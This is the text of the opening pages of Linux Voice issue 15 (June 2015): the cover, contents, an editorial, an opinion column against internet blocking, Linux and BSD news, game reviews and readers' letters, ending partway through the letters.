DOKK Library

Linux Voice [Issue 15]

Authors Linux Voice

License CC-BY-SA-3.0

Plaintext
         PI ROBOTS LYX ASSEMBLY DARKTABLE + MORE




INSIDE                             June 2015

EMULATE                            SYSADMIN                                  WEB DEV

EVERYTHING                         PUPPET                                    NODE.JS
P34                                Automate configuration, so you can        JavaScript on the server? Sounds




           HACK
                                   spend more time reading XKCD              crazy, but it’s actually darn good




             THE WEB     Break in, exploit and leave backdoors: learn the tricks
                        hackers use, and then guard your systems against them

                                                                                 40+ PAGES OF TUTORIALS
 HIDDEN VOLUMES Data safety for conspiracy theorists
 GNUPLOT Draw pretty graphs from the command line
 THE INTERNET ARCHIVE Preserving our ephemeral culture byte by byte
                                                                                                   June 2015 £5.99 Printed in the UK




  DESIGN                                         LARRY WALL

  SCRIBUS                                        THE PERL PAPA
  We tried it, we liked it – how                 What next for Perl 6 –
  Linux Voice is moving to                       the latest version of the
  completely Free Software                       ‘glue of the internet’
                                                                                                                             WELCOME



It’s Linux all the way down
The June issue



Linux Voice is different.
Linux Voice is special.
Here’s why…                                                                           GRAHAM MORRISON
                                                                                      A free software advocate
      At the end of each financial                                                    and writer since the late
 1
      year we’ll give 50% of our                                                      1990s, Graham is a lapsed
profits to a selection of                                                             KDE contributor and author
organisations that support free                                                       of the Meeq MIDI step
software, decided by a vote among                                                     sequencer.
our readers (that’s you).


                                          I                                                                            SUBSCRIBE
                                               n a recent podcast of ours, we asked our listeners which open
       No later than nine months               source software they relied upon. This is a seemingly simple
  2
       after first publication, we will
relicense all of our content under
                                               question and we got many excellent and varied answers. But
                                          when I was put on the spot while we were recording (I’d forgotten
                                                                                                                       ON PAGE 64
the Creative Commons CC-BY-SA             to give the question much thought), I experienced a sudden feeling
licence, so that old content can          of vertigo. I could choose something on the desktop – Firefox is
still be useful, and can live on even     fundamental to maintaining open standards on the internet, or
after the magazine has come off           LibreOffice for pushing through the Open Document Format. And
the shelves.                              then there’s the desktops themselves. Linux wouldn’t be usable for
                                          most of us were it not for the fine people working on Gnome, Xfce,
      We’re a small company, so           KDE and all the others.
 3
      we don’t have a board of               But where to stop? The terminal? Apache? The dozens of
directors or a bunch of                   services responsible for the internet, the GNU tools that bind it all
shareholders in the City of London        together? The Linux kernel itself? It’s often said by open source
to keep happy. The only people            developers that we’re standing on the shoulders of giants, but I felt
that matter to us are the readers.        like I was in low Earth orbit. We’ve got so many good things to
                                          choose from. And that’s something worth celebrating!

THE LINUX VOICE TEAM                      Graham Morrison
Editor Graham Morrison                    Editor, Linux Voice
graham@linuxvoice.com
Deputy editor Andrew Gregory

                                          What’s hot in LV#015
andrew@linuxvoice.com
Technical editor Ben Everard
ben@linuxvoice.com
Editor at large Mike Saunders
mike@linuxvoice.com
Games editor Michel Loubet-Jambert
michel@linuxvoice.com
Creative director Stacey Black
stacey@linuxvoice.com
Malign puppetmaster Nick Veitch
nick@linuxvoice.com
Editorial contributors:
Jon Archer, Mark Crutch,
Andrew Conway, Juliet Kemp,               ANDREW GREGORY                    BEN EVERARD                           MIKE SAUNDERS
Jake Margason, Vincent Mealing,           “Learn how to blanket your hard   “The Internet Archive has become      “It was tough finding a new
Simon Phipps, Les Pounder,                drive with random background      vital, and our inside look at its     Dr Brown after his retirement, but
Mayank Sharma, Valentine Sinitsyn.        noise so you can hide data on     history and philanthropic             our new sysop-super-hero has
                                          secret partitions.” p92           ambitions is a great read.” p30       done an amazing job.” p66



                                                           www.linuxvoice.com                                                                     3
                CONTENTS


                                                                                                                                       June LV015
   A bubbling cauldron of Linux, Free Software and (this month!) Amiga goodness.
                                                                                       18     REGULARS
SUBSCRIBE




                  HACK
                                                                                              06    News
ON PAGE 64                                                                                          The Linux kernel mailing list
                                                                                                    becomes the Super Friends
                                                                                                    Club with a Code of Conduct.
                                                                                              08    Distrohopper
                                                                                                    Kwort makes a last stance
                                                                                                    against Systemd, plus news




                  THE WEB
                                                                                                    from Solaris and OpenBSD.

                                                                                              10    Gaming
                                                                                                    Cities: Skylines, Bioshock
                                                                                                    Infinite, and Chivalry: Medieval
                                                                                                    Warfare.

                                                                                              12    Speak your brains
                                                                                                    Put pen to paper (or key to
        We teach you the tools and                                                                  board) and tell the world
                                                                                                    what’s bothering your mind.
        tricks that hackers use – so                                                          16    LV on tour
                                                                                                    Our roving reporters provide
        you can secure your boxes.                                                                  updates from across the globe.
                                                                                                    This month: FLOSS UK in York.

                                                                                              26    Linux Voice vs Scribus
                                                                                                    We look at moving away from
        42                                                                                          InDesign to make this mag with
                                                                                                    a fully free software stack.
        Larry Wall                                                                            58    Group test
                                                                                                    Prepare to take over the
        The best-dressed                                                                            world with your legion of
                                                                                                    Raspberry Pi robots.
        man in geekdom                                                                              Subscribe!
        talks Perl 6 and how                                                                  64
                                                                                                    Factoid: you can save money
                                                                                                    and fund free software with a
        his background in                                                                           Linux Voice subscription.
        linguistics shaped                                                                    66    Sysadmin
        the language.                                                                               Shared memory segments,
                                                                                                    interprocess communication,
                                                                                                    and a smattering of C code to
                                                                                                    show how it all works.

                                                                                              70    FOSSpicks
                                                                                                    Delicately plucked from the
                                                                                                    freshest fields of the free
                                                                                                    software prairie.

                                                                                              110   Masterclass
                                                                                                    Never lose a file again! Keep
                                                                                                    your data safe and secure
                                                                                                    with our guide to making and
   30
        INTERNET ARCHIVE         34
                                      EMULATION FEST          40
                                                                   FAQ: NODE.JS                     restoring backups.
        What goes on inside           Miss your old Game           JavaScript on the                My Linux desktop
                                                                                              114
        this planet-sized             Boy, Mega Drive, C64,        server isn’t just a              We drag Mike away from his beer
        archive of free books,        Spectrum or MS-DOS           flash in the pan – in            hall Stammtisch to show where
                                                                                                    he (supposedly) does his work.
        movies, software,             prompt? Re-live the          fact, it’s the future of         Plus a rant from Nick Veitch.
        music and more.               glory days today.            web development.


   4                                                    www.linuxvoice.com
TUTORIALS                                                                   REVIEWS
  78                                      80




                                                                                 BQ Aquaris E4.5
Manage your photo                       Slash electricity bills
                                                                            50

                                                                                 The first Ubuntu phone is here.
workflow with Darktable                 with your Raspberry Pi                   But is it strong enough to take
                                                                                 on the mighty Android?
Fine-tune your digital snaps to         Reduce your carbon footprint
their perfect light levels.             and fiddle with cool gadgets.

  84                                      88




                                                                            52   Gnome 3.16
                                                                                 All features have been replaced
                                                                                 by a single logout button. Only
Gnuplot: fancy graphs                   Take full control of your                joshing – it’s actually very good.
from the command line                   documents with Latex
                                                                            53   Slice
Beautify scientific data without        Lyx + Latex = by far the best way        TV watching with a geeky twist:
pushing the mouse around.               to create great-looking docs.            check out this Pi Compute
                                                                                 Module-powered media player.
  96                                      92
                                                                            54   Entroware Apollo
                                                                                 This well-built ultrabook is the
                                                                                 latest product to bring Linux to
                                                                                 the high street.

                                                                            55   Audacity 2.1
                                                                                 Everyone’s favourite multi-track
                                                                                 audio editor gets a long-awaited
                                                                                 update and new goodies to try.
Simplify administration                 Encryption: keep your
                                                                                 Books Is Bitcoin really the
with Puppet                             data on hidden volumes
                                                                            56

                                                                                 future of money? And who is
Manage multiple boxes with ease         Stay one step ahead of the               actually spying on us?
using this configuration tool.          spooks and hide your data.
100
      Classic coding:     104
                                C: understanding    106
                                                          Assembly: make
      ALGOL                     pointers                  your own OS
      It’s time to hack         We explain this           Show Torvalds
      like it’s 1958.           thorny topic.             who’s boss.



                                               www.linuxvoice.com                                                  5
     ANALYSIS




NEWSANALYSIS
The Linux Voice view on what’s going on in the world of Free Software.
Opinion



Farming unicorns
If the facts don’t back up your opinion, just ignore the facts…

                            Simon Phipps             supporters don’t like. They demand it has to         But there aren’t enough police to patrol
                            is president of the      be stopped.                                       every fence, so they still can’t arrest
                            Open Source Initiative
                                                        They issue an instruction to block the         everyone. They decide to add security
                            and a board member
                            of the Open Rights       fields. The objective is unarguably pure and      cameras to every fence. Obviously they can’t
                            Group and of Open        the things that those one or two people are       watch all the cameras all the time so they
                            Source for America.      doing are disgusting, so it must be possible,     record all the video, automate the analysis
                                                     right? If you object to blocking the fields, it   and then send teams out to people’s
                                                     only goes to proves that you’re one of those      homes to arrest them for jumping fences,
                                                     dirty people. Bureaucrats get to work on the      regardless of why they did it – the camaras
                                                     demand. They can’t block an open field, so        don’t record intent. This is not about the bad



A
         s I write, the UK’s electioneering is in    first they build a road across the field. Then    thing the politician objected to any more. It’s
         full swing and politicians of all           they build a police control point in the middle   now about respecting the law for the sake of
         shades are making opportunistic             of the road.                                      the law. The rule of law must be upheld, or
statements that may turn out to be signals                                                             we’ll descend into anarchy.
of future policy. Notable among them was a           Controls circumvented                                What started as a straightforward moral
statement by Culture Secretary Sajid Javid,          But people go round the roadblock, so they        panic by a down-to earth politician during
who revealed that the Conservative Party             build a fence along the sides of the road         an election has created a police state. The
would ensure under-18s were prevented                too. But people go round the fence, so they       badness of the problem that the politician
from seeing adult content on the Internet.           add a fence all around the field. But people      was trying to address was never at issue.
He did not elaborate exactly how that would          go round the field, so they mandate fences        The problem was his magical thinking. By
be done.                                             across the whole country.                         mandating the impossible in pursuit of
   No wonder, because it probably can’t,               Stopping that bad thing a few people do         an unarguably worthy goal, the politician
and in the process of trying it will break           justifies all the expense and inconvenience       caused collateral damage that outweighed
everything else. Any attempt to impose               for everyone, doesn’t it? Building the fences     any benefits. And he didn’t notice; he never
blocks on the internet causes collateral             takes several years, and at the end of the        goes for walks in the fields.
damage that outweighs the benefit. That’s            building process the whole country is
because blocks can’t work – that is actually         covered in obstacles of various kinds.            More magical thinking
a fundamental design principle of the                  There are now so many miles of fences           And that’s why it’s stupid to demand that
internet. So any attempt to block anything           and they get in everyone’s way whatever           things must be blocked on the Internet. Any
involves violating the primary tenet of the          they are doing. The fences are mostly out         attempt to impose blocks on the internet
design of the internet. It’s like trying to block    of sight, so people just jump over them. The      always causes collateral damage that
an open field…                                       police start to arrest people who do. That        outweighs the benefit.
   There are people walking over the                 bad thing is so bad it’s crucial to act tough,       That’s because blocks can’t work – that is
beautiful spring meadows. Most are just              even though most of the people they are           actually a fundamental design principle of
enjoying the beauty of it all, but some are          arresting are just going harmlessly about         the internet. As John Gilmore, one of the
going visiting to each other’s houses. Of            their business and the thought of doing that      founders of the Electronic Frontier
those, a politician discovers one or two of          bad thing the politician objected to never        Foundation put it: “The Net interprets
them going and doing things he and his               entered their heads.                              censorship as damage and routes around it.”
                                                                                                       So any attempt to block things on the
                                                                                                       internet naturally involves violating a primary
“Any attempt to block things on the internet                                                           tenet of its design. Demanding that happen
involves violating a primary tenet of its design.”                                                     is magical thinking of the same order as
                                                                                                       trying to regulate unicorn farming.



6                                                                www.linuxvoice.com
                                                                                                                 ANALYSIS


    Gnome • Git • Laptops • SCO vs IBM • Coder behaviour • Debian • Audacity




CATCHUP                                      Summarised: the biggest news
                                             stories from the last month

         Gnome 3.16 released                         Git turns 10                                   Dell XPS 13 with Linux
  1         Six months of development,        2        Linus Torvalds will go down in        3      available in Europe & US
            33,525 code changes, from                  computing history for creating                 In the market for a new
1,043 contributors – that’s what makes     an OS kernel (that just so happened to         laptop? Don’t want to pay the Windows
up the new release of this desktop         fit in nicely with the GNU project), but       tax? Dell’s new XPS 13 is a tempter;
environment. The notifications system      the man has written other software in          we’ll try to get one in for review in the
has been replaced by a new message         his time. Git, his revision control system,    next couple of issues. www.dell.com/
list, while the file manager has bigger    was originally started because Torvalds        uk/business/p/xps-13-linux/pd.
thumbnails and an undelete option.         was sick of using other systems for the
A new scrollbar style has been added       kernel, and today Git is used by tens of
which only shows scrollbars when you       thousands of projects around the globe.
hover over the window – nice for mobile    And if you’ve ever wondered about the
devices, but too much trimming-down        name, Torvalds says: “I’m an egotistical
for the desktop we reckon. https://help.   b*****d, and name all my projects after
gnome.org/misc/release-notes/3.16.         myself. First Linux, now Git.”




         SCO vs IBM: the lawsuit                     Linux kernel gets a new                        Debian 8 “Jessie”
  4      that just won’t die                  5      Code of Conflict                        6      released – hopefully
            If you’ve been around in the               The Linux kernel mailing list is              By the time you read this,
Linux world for a while, you’ll remember   no stranger to strong language, stronger       Debian 8 should be available to
that former Unix-flavour maker SCO         opinions and even flamewars – but              download. At least, that’s the plan.
sued IBM in 2003 for a billion dollars,    sometimes it gets out of hand. A new           “Jessie” has been scheduled for 25 April,
claiming that the latter had put Unix      Code of Conflict, which has even been          three days before this magazine goes
code into Linux without permission. The    signed off by Linus Torvalds (who never        on sale in the UK, but the actual release
case dragged on for years and years,       minces his words), aims to prevent             date could slip if some last-minute bugs
while SCO’s market share disappeared.      anyone from feeling “personally abused,        are found. Debian is famous for its
Was it a last-grasp attempt at cash by     threatened, or otherwise uncomfortable”        stability and strong release engineering
SCO, or a more sinister attempt to         and was supported by 60 other kernel           efforts, so even if version 8 takes a
damage the reputation of Linux? Well,      developers. “Be excellent to each other”,      while longer to appear, it’s nothing to
it’s back in the courts now, so maybe      it ends, Bill and Ted quotingly.               fret about.
we’ll find out the truth one day…          http://tinyurl.com/kernelcoc                   www.debian.org




         LibreOffice goes online                                                                    Audacity 2.1.0 released
  7        Yes, LibreOffice is coming                                                        8       It has been three years in the
           to your browser. Collabora                                                                making, but a new release of
and IceWarp have teamed up to make                                                        Linux’s most popular multi-track audio
LibreOffice Online (LOO), a version of                                                    editor is here. New features in Audacity
the suite that runs on a server and                                                       2.1.0 include a real-time preview facility
sends tiled images of documents to                                                        for LADSPA, VST and Audio Unit effects.
the browser. So users don’t run LOO on                                                    On top of this, there’s also a new Noise
their own machines, but interact via                                                      Reduction effect (which supersedes
the images displayed in their browser.                                                    Noise Removal), while all effects can
LOO won’t be as featureful as the main                                                    now be used in Chains to assist with
suite, and performance remains to                                                         batch operations on a number of files.
be seen, but it’s good competition for                                                    See the full release notes here:
Microsoft Office 365 in any case.                                                         http://wiki.audacityteam.org/wiki/
http://tinyurl.com/q79fdmq.                                                               Release_Notes_2.1.0.




                                                     www.linuxvoice.com                                                                7
     DISTROHOPPER




DISTROHOPPER
What’s hot and happening in the world of Linux distros (and BSD!).

Kwort 4.2
A Systemd-free distro.


I
     f you’re not a fan of Systemd, you still
     have a handful of distros to choose from
     – although the numbers are thinning out
with every month. Kwort (www.kwort.org) is
holding on to a more traditional boot system,
however, and is based upon Crux (http://
crux.nu), which has been doing the rounds
for over a decade. Crux describes itself as a
lightweight distro for x86-64, targeted at
experienced Linux users. “The primary focus
of this distribution is keep it simple, which is
reflected in a straightforward tar.gz-based
package system, BSD-style init scripts, and a
relatively small collection of… packages.”
   In that sense, it’s similar to Arch, although   As with many advanced user-oriented distros, Kwort opts for a dark and moody default theme.
Arch tends to be more ambitious in
accepting wide-reaching changes such as            install packages via the live media, before       various hardware devices. This might seem
the aforementioned Systemd. Kwort aims to          chrooting into the new installation for some      like a lot of effort, but as with Arch,
expand upon Crux with a “strong and                last-minute setup steps. Then you can             Slackware and similar distros, you learn a lot
effective desktop”, although you’ll still need     reboot into the new Kwort installation.           about Linux on the way. If you’re looking for
prior Linux experience.                              Kwort’s basic setup is minimal and              a more old-school Unix-ish experience
   For instance, there’s no point-and-click        reminiscent of the *BSDs; indeed, it uses         without Systemd infiltrating everything
graphical installer. You’re expected to            BSD init scripts and expects you to set up        (although Systemd has benefits, it has to be
partition your drives, create filesystems and      user accounts manually to enable access to        said) then this is a decent option.




OpenIndiana 2015.03
OpenSolaris lives! Well, in a way…


B
         ack in 2006, Sun Microsystems,            OpenIndiana is effectively a distro of Illumos,
         maker of high-end servers and the         providing an attractive desktop, applications,
         famously robust Solaris operating         installer and other tools to produce a
system, decided to augment the free                fully-fledged OS. The project has just made a
software community and created                     new release, 2015.03 (codenamed “Hipster”),
OpenSolaris. This provided competition for         which provides various software updates.          If you’re writing software and want to check it
Linux and FreeBSD, but sadly, when Oracle             Don’t expect the latest bleeding-edge          runs on OpenSolaris, try it on OpenIndiana first.
snapped up Sun in 2010, the OpenSolaris            software, though: Solaris is notoriously
project was ended. Still, a bunch of hackers       conservative, and this approach passes               So what’s the point of OpenIndiana? For
took the last release of the source code and       through to the open source fork. The              what purposes would you use it? Well, its a
have continued it in the Illumos project.          desktop is Gnome 2.32, for instance. This         bit like CentOS. It doesn’t have commercial
   Illumos is a bit like the Linux kernel, GNU C   may seem crazy today, but consider that           support, it’s a free download, but it’s a
library and Coreutils – enough for a basic         Solaris is focused on businesses, which take      zero-cost way to try an enterprise-oriented
system, but most people expect more.               aeons to upgrade.                                 operating system.



8                                                              www.linuxvoice.com
                                                                                                                             DISTROHOPPER



News from the *BSD camps
What’s going on in the world of FreeBSD, NetBSD and OpenBSD.


W
            e’ve had a few requests to cover
            the BSDs in Linux Voice, and for
            good reason: they’re open
source, Unix-flavoured operating systems
under active development and with plenty of
interesting tech inside. Right now, the
OpenBSD team is gearing up for its 5.7
release, which is due to arrive on 1 May.
OpenBSD is famous for having a like-
clockwork release schedule, so we don’t
expect 5.7 to slip unless a major show-
stopper bug is found.
   The biggest change in this release is the
rewriting of rand(), random() and other C
library random number routines. They now
return non-deterministic results, which
breaks POSIX standards, but as the patch
description from the team put it: “Violates
POSIX and C89, which violate best practice                 OpenBSD makes a decent desktop OS if your hardware is supported – see our review in issue 10.
in this century”. Replacement routines have
been written which follow the older                        executables), which helps to have a                One thing the OpenBSD team does
deterministic model. This should improve                   randomised address space so that attackers       especially well is getting rid of old cruft: 5.7
security, but could also break some                        can’t guarantee where a certain piece of         removes loadable kernel modules, procfs
third-party apps (until they’re patched).                  code in memory lives. Additionally, MD5 has      support and a few drivers. These are
   Also on a security note, more OS binaries               been replaced with SHA512 in various parts       changes that won’t please everybody, but
are now PIE (position-independent                          of the codebase.                                 are important for a clean codebase.


  Red Hat Linux 5.2 – Linux reaches the mainstream

  This seems like a random release to include in our historical distros
  section. Why not a major release like Red Hat 5.0 or 6.0? Well,
  something significant happened with 5.1 and 5.2. They were the first
  Red Hat releases – and arguably the first releases of any Linux distro
  – that started to get mainstream attention. We remember them being
  featured on the coverdiscs of several PC magazines in the UK, so it
  was the first exposure to Linux for many people.
     On top of that, Red Hat was selling shiny boxed sets with DVDs,
  manuals and other materials. Linux was maturing from a random
  plaything Unix you could download from an FTP server; it was a
  professional, finished product you could buy and install for your
  home and business. Magazines started running tutorials on Linux as
  well, explaining how you could effectively get high-end Unix features
  for free (or a much lower price).
     Looking back, and removing the rose-tinted specs, we can be
  honest: Red Hat 5.2 was very rough. Gnome and KDE hadn’t reached
  version 1.0 yet, so the bundled “desktop” was a scrappy Windows
  95-like FVWM setup called Anotherlevel with a few extra widgets
  lying around. We remember getting online with dialup and the
  horrendously crash-prone Motif-based Netscape browser, and
  recompiling the kernel to enable a driver for our on-board sound chip.
     ISO images of Red Hat 5.2 are available from https://archive.org/
  details/redhat-5.2_release if you want to try it, but it’s fiddly to get
  working in modern PC emulators and VMs.


  Red Hat 5.2 arrived in November 1998, and was
  charming despite its rough edges.




                                                                         www.linuxvoice.com                                                                    9
     GAMING ON LINUX




GAMING ON LINUX
The tastiest brain candy to relax those tired neurons

 THE CRYSTAL SHIP
                                          Cities: Skylines
                                          Linux gets its first modern city builder – and it’s great!


                                          T
                                                   he city building genre has experienced a
                                                   steady decline over the years with the fall
                                                   of the once-great SimCity franchise. Few
                                          have come close to creating something that
                                          could be called the “spiritual successor” to those
                                          much-loved games, but it certainly seems like
                                          Finnish games developer Colossal Order and
 Michel Loubet-Jambert is our Games
 Editor. He hasn’t had a decent night’s   publisher Paradox have achieved just that.
 sleep since Steam came out on Linux.        While at first glance the role of a city planner
                                          seems as unexciting as it did back in 1989,            Being a city planner is great fun… but not in real life.


 T
          he Game Developer               building the city of your dreams is fun and
          Conference (GDC), held in San   therapeutic. Cities: Skylines keeps the player         personality, like Prague, Paris, Buenos Aires or
          Francisco in March, saw a
                                          hooked by gradually adding new buildings,              Boston – leaving the cities often feeling like
 huge list of companies getting behind
 Steam Machines and the Debian-           services and challenges that keep you                  bland urban sprawl. Though it’s safe to assume
 based SteamOS, along with another        entertained and give a sense of progression.           content like this will be added later through
 big list of games announced for Linux.      There are no gimmicks: just build sprawling         paid downloadable content, it’s a shame that it
    OpenGL’s successor, now dubbed        cities, with every transportation option               couldn’t be included from launch.
 Vulkan, was officially announced in
                                          imaginable, community mods, beautiful graphics           With that said, Cities: Skylines provides hours
 detail and was welcomed with open
 arms by the community. The               and varied zones. It’s as if there were a textbook     and hours of city building goodness, and there
 cross-platform API should mean it        on how to build the perfect city simulator and the     are already hundreds of great user-made mods
 will be easier for developers to bring   developers followed every word.                        out there to keep it fresh for years to come.
 games over to our OS and also put up        Perhaps the game’s only flaw is that it features
 a good fight against the next                                                                     Website http://store.steampowered.com/
                                          only one architectural style, meaning that the
 generation DirectX. Valve also                                                                    app/255710 Price £22.99
 showed DOTA 2 working on Vulkan.         player can’t create cities with their own unique
    Among the big games being
 brought over to Linux were Shadow of
 Mordor, Payday 2, Batman Arkham
 Knight, Company of Heroes 2, Total
 War: Rome and GRID Autosport. Any
 one of those would be enough to
 excite any gamer, whereas all those
 together caused many Linux gamers
 to pinch themselves in disbelief.
    However, more exciting for
 non-Linuxers out there was probably
 the preview of the Steam Controller’s
 final design, as well as the
 showcasing of the revised selection
 of Linux-wielding Steam Machines,
 which got their own store pages on
 Steam, and a new virtual reality
 system to go with them.                    You can follow the lives of
    These should be rolled out              individual citizens in your city.
 throughout the year, while the
 controller, VR system and Steam
 Machines should be here by
 November 2015, if Valve decides to
 stick to the same time dimensions as
                                          “It’s as if there were a textbook on how to build the
 the rest of us.                          perfect city simulator and the devs followed every word.”

10                                                              www.linuxvoice.com
                                                                                                                     GAMING ON LINUX


Bioshock Infinite                                                                                    ALSO RELEASED…
Games really don’t get much better than this masterpiece.


U
           nlike the first Bioshock game,           gameplay is also fantastic, providing RPG
           which took place underwater in           elements, good gunplay and tons of fun
           a world where cultish devotees           on the ziplines featured in the city.
to Ayn Rand end up creating a dystopian                Virtual Programming’s eON technology
prison, Bioshock Infinite takes place in the        has come a long way since the poorly-
clouds in a world where the religious right         received port of The Witcher 2, which had
has recreated a romanticised and highly             much lower framerates and more bugs
racist version of the early United States,          than on Windows. Surprisingly, this Wine         Worms Clan Wars
uncovering the mysteries and sinister               wrapper provided one of the best ports           The Worms franchise has been around for
truths of the city and its cult leader.             we’ve seen so far on Linux.                      longer than many can remember, making its
   Infinite’s story is fantastic, while its world                                                    first appearance way back in 1995 on the
is beautiful and a generally nice place to            Website http://store.steampowered.com/         Amiga. Since then it has gone through a
                                                      app/8870 Price £19.99                          number of iterations and remakes, but Worms
be, despite all its dark undertones. The                                                             Clan Wars is perhaps one of the biggest
                                                                                                     updates the series has seen, with tonnes of
                                                                                                     new features and just as much fun as it was 20
                                                             Bioshock Infinite is still easily one   years ago, if not more so.
                                                              of the prettiest games out there.      http://store.steampowered.com/app/233840




                                                                                                     Europa Universalis IV: El Dorado
                                                                                                     Paradox’s historical grand strategy games are
                                                                                                     possibly the best strategy games out there,
                                                                                                     and deserve far more attention – not just
                                                                                                     because they’re made by a very Linux-friendly
                                                                                                     developer. Europa Universalis IV sees you

Chivalry: Medieval Warfare                                                                           control a country in the middle ages through to
                                                                                                     the early colonial age, while the expansion
                                                                                                     adds detail to native South American nations,
Some great, addictive multiplayer silliness in a medieval setting.                                   and a nation designer so you can define who to



T
                                                                                                     conquer the world as.
         his game re-invents the often                                                               http://store.steampowered.com/app/338160
         boring world of multiplayer
         shooters by doing away with all
the guns and replacing them with swords,
bows, catapults, pikes and battleaxes –
pretty much anything used to dismember
foes before the age of gunpowder.
   Chivalry doesn’t take itself seriously,          “’Tis but a scratch!” – Chivalry’s excessive
providing a good dose of humour, from               cartoonish gore is often hilarious.
the funny voice acting to its cartoonish
death sequences. However, the game’s                multiplayer fun rather pose philosophical
self-awareness doesn’t take away from               questions about the brutality of war and         Torchlight II
                                                                                                     This hack-and-slash action-RPG is making its
how epic it often feels when huge battles           human nature.                                    way to Linux as part of the long list of game
are underway and your allies are falling all          Chivalry sees you pick from numerous           announcements at GDC. Those who love co-op
around you.                                         classes to do battle with, and the               gaming, exploration, lots of enemies and
   It does feature some attempt at                  unlocking of weapons, equipment and              treasure won’t be disappointed by Torchlight’s
backstory, in the sense that the player             customisation options gives more                 vast fantasy world. Its replayability and
                                                                                                     addictiveness means that this is one of those
picks one of two sides embroiled in a               reasons to keep going back to it.                games people often sink hundreds of hours
bloody civil war. However, this is as far                                                            into. Don’t say we didn’t warn you!
as any story development goes and                     Website http://store.steampowered.com/         http://store.steampowered.com/app/200710
                                                      app/219640 Price £18.99
its primary aim is to provide hours of



                                                                   www.linuxvoice.com                                                                 11
     MAIL




                           YOUR LETTERS
                             Got something to say? An idea for a new magazine feature?
                             Or a great discovery? Email us: letters@linuxvoice.com



             LINUX VOICE STAR LETTER
  NOSTALGIA
  I have been following Mike’s            Oh and the disk booted fine and
  assembler coding series with          displayed the message – so well
  great interest.                       done Mike and I look forward to
     Since I have two machines          the next instalment.
  with real floppy disk drives I        John Paton
  could not resist creating a floppy
  boot disk to try running the          Mike says: Finally, someone
  latest code on bare metal.            appreciates me! All computing is
     How nostalgic it made me           just moving memory from one place
  feel to hear that once so familiar    to another, but that’s easier to say
  ‘chunk, ‘chunk, ..’ sound as the      than it is to understand. The joy of
                                                                                                                           We may not have
  machine formatted the floppy.         assembler is that everything gets         else make more sense. So even if you
                                                                                                                           mentioned this,
  I had forgotten that formatting       broken down into such small chunks        don’t plan to build your own operating   but Mike wrote on
  a floppy disk gave you nearly         that it’s possible to see exactly         system (as we start to do on page        operating system in
  enough time to make a cup of          what the computer’s doing, in a way       106) or write tiny code for embedded     assembler, just for a
  tea, and certainly enough time        that’s impossible with higher level       devices, assembler is a valuable tool    laugh, a-ha ha ha.
  to walk out to the tea machine in     programming languages. Just a little      for every programmer. Thanks mum, I
  our office all those years ago.       bit of assembler makes everything         mean, er, John.



WINDOWS 10
Again I hear some of the horror         vendors that followed its certification
stories about other operating           for Windows 8 to allow a physically
systems getting locked out with         present user to switch secure boot
Windows 10. Have you heard              off, and therefore boot any operating
anything about them locking out         system they want – including Linux,
other operating systems with the        BSD, or even MikeOS.
way they set up Secure Boot and            Slides from a recent conference in
with hardware manufacturers?            China appear to show that the ability
Steve Cox                               to turn off secure boot is no longer a
                                        requirement, and PC manufacturers
Ben says: Secure Boot is a technology   could start selling Windows 10
from Microsoft that ensures only        computers that are locked down so
cryptographically signed operating      that only operating systems approved
systems can run on a computer. This     by Microsoft can run. If true, this
sounds like a good idea until you       would be a flagrant abuse of the
realise that it means that Microsoft    company’s near monopoly on the
gets to decide which operating          desktop PC sector.
systems to sign.                           Linux Voice is investigating, but as
   In order to show that it wasn’t      yet, we have had no response to our       What’s going on here? Does anyone know? At least the Shutdown
abusing this, Microsoft required        enquiries from Microsoft.                 button is easy to find, unlike in Windows 7.



12                                                            www.linuxvoice.com
                                                                                                                                    MAIL


EQUALITY
I very much enjoy the                  role models to young nerds. It
technological content of Linux         shows that this place welcomes
Voice. Being a Debian Developer,       whomever is writing, interviewed,
programmer, and nerd it has nice       or pictured.
range of topics. Many of them             Please equalise Linux Voice
not oversimplified and flat, as I      to include half the human race
have experienced with other free       that is now mostly left out. There
software related magazines.            are many women in the history
   I often browse magazines when       of computer science, in current
I travel or walk around town.          development of free software, and
Every once in a while I pick up a      in many related fields.
magazine covering GNU, Linux,             If you need help, please don’t
and other free software etc. Often     hesitate; contact me immediately
I browse it quickly and realise that   for suggestions for people to
they aren’t for me.                    interview or topics to write about.
   The primary reason I picked up      Better yet, contact some nerdy
Linux Voice was because Grace          women for their opinion!
Hopper was on the cover. Finally,      Per Andersson
a magazine that recognises and            PS A friend of mine has created
includes women in the fields of        a site, guide, and tutorial about
tech, computer, engineering, free      Libre Graphics Production http://
software!                              libregraphicsproduction.com.
   However, the issues after #1 and    Read it and use free software to
#2 leave more than a little to wish    layout and typeset Linux Voice!
                                                                                                                         If you want us to talk to
for regarding female participation                                              can communicate clearly. We really
                                                                                                                         interesting women, tell
and representation in Linux Voice.     Andrew says: Hi Per! This is a           should write a guide to pitching work.   us. And please specify
I have not done my homework and        fascinating topic. We do have equality   By the time you read this, there’ll      which ones! NB Ada
counted exact numbers, but when        of opportunity at Linux Voice; if        be one up at www.linuxvoice.com/         Lovelace is unavailable
I browsed the issues I have laying     you have an idea, and you point us       howtopitchtous.                          for interviews.
around they show a very high and       in the direction of some previous           Being an anglophone with no
sad number of male dominance.          work that you’ve done, and we think      interest in foreign languages other
(It would be super if you would        it’ll fit the style of the magazine,     than what will get me a pint of lager
present these statistics in every      then we’re very unlikely to say no.      and a burger I have no idea whether
number or once in a while.)            We have to generate 114 pages of         Per is a man’s or woman’s name.
   Equality is not only about          excellent content every month (more      But if you are a woman with some
representation, but it is one thing    than any other Linux publication out     interesting ideas that you think would
that is very easy to measure and       there), so we really do want to hear     go well in Linux Voice, the best thing
control. Being visible also gives      good ideas put to us by people who       to do is suggest them to us.




                                                            www.linuxvoice.com                                                                 13
     MAIL



FORTRAN:                                  UBUNTU FOR PHONES
ANOTHER VIEW                              Well done for sticking up for free
                                          software and all that, but I was a
Although it was nice to see an            bit disappointed to see such an
item about Fortran (Linux Voice           uncritical write-up of the Ubuntu
14, pages 100–103) I read it with         phone in your last issue [LV014].
a trace of bitterness because                Compared with iPhone and
my ‘mother tongue’ is Algol 60.           Android, there just aren’t enough
That’s the language designed by           applications. The software itself
Numerical Analysts                        may be excellent, but without
   For publishing humanly readable        an ecosystem and third-party
algorithms, and never mind how            applications, I don’t care.
hard it was to implement the              Brian Jennings
compiler. (You only have to do
                                                                                                                               It’s so easy to laugh,
that once but you have to re-read         Andrew says: Hmm. The feature last        level of interest, then attract interest
                                                                                                                               it’s so easy to hate/
programs constantly.)                     issue wasn’t meant to be critical:        in other territories, then the ball        it takes guts to launch
